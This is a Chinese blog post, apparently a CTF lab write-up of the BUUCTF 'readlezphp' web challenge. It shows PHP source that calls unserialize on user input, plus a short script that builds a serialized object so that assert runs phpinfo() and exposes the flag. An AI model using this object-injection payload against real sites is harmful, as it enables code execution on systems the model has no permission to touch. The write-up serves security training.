BUUCTF WEB readlezphp1

这篇博客探讨了一个PHP源码审计的例子,通过分析一个包含奇怪a标签的time.php文件,展示了如何利用assert函数来执行phpinfo()。博主提供了利用脚本,并提醒eval被禁用,但assert可以作为替代。同时,提到了flag不在单独文件中,而是在phpinfo中。博客还附带了一个参考视频链接,帮助读者更深入理解这个过程。
摘要由CSDN通过智能技术生成

打开场景,一个窟窿头,太哈人了,源码审计吧
发现一个奇怪的a标签,time.php?source
访问一下,果然是源码审计

 <?php


#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);



2021-12-31 01:36:04

利用点很好找,echo $b($a);
函数功能,$b,参数$a
flag不是一个单独文件,在phpinfo里,吐了,eval也被禁用了,assert可以
写个小脚本

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

print_r(urlencode(serialize($c)))
?>

参考视频链接:https://www.bilibili.com/video/BV113411Y7Nk?spm_id_from=333.999.0.0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值